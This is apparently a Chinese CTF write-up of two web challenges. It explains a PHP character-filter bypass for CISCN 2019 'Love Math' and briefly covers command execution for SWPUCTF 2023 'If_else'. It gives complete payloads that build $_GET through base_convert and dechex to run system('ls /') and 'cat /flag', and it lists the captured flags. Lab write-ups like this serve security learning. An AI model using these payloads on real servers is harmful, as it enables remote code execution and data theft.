目录
[CISCN 2019初赛]Love Math
1、题目
2、知识点
构造变量,进制转换、函数利用
3、思路
打开题目,出现源码
代码的意思:GET方式上传变量c,但长度有限制,不能超过80,然后对输入的字符进行了过滤,有一个函数的白名单,只能用里面的函数
如果我们直接使用system函数,cat flag会被过滤
这里的思路就是利用PHP特性($_GET)构造一个变量
使用到的函数有:
base_convert() 函数:在任意进制之间转换数字
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符
dechex() 函数:把十进制转换为十六进制
因为白名单只有base_convert,没有hex2bin,所以我们需要进行编码调用base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
hex2bin(5f474554)=>"_GET" //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]
base_convert(37907361743,10,36)(dechex(1598506324)) => _GET ,然后赋给pi变量,也就是pi=_GET,
($$pi){pi}=>$_GET[pi] (($$pi){abs} =>$_GET[abs]
也是说我们可以在pi变量和abs执行系统命令
构造的payload:
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=ls%20/
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat%20/flag
得到flag:NSSCTF{664726e2-a73b-4290-85b9-96c0208575d4}
[SWPUCTF 2023 秋季新生赛]If_else
1、题目
2、知识点
命令执行
3、思路
题目给了我们提示,要上传一个check变量,然后访问check.php页面
出现提示的页面,然后这里面没有我们可以上传的点,只有check变量,我们在check变量执行系统命令
得到flag:NSSCTF{512a871a-55dc-4921-8da5-bd2bb6cb89e2}
这篇文章就先记录到这里了,哪里不懂的或者哪里不足的欢迎指出!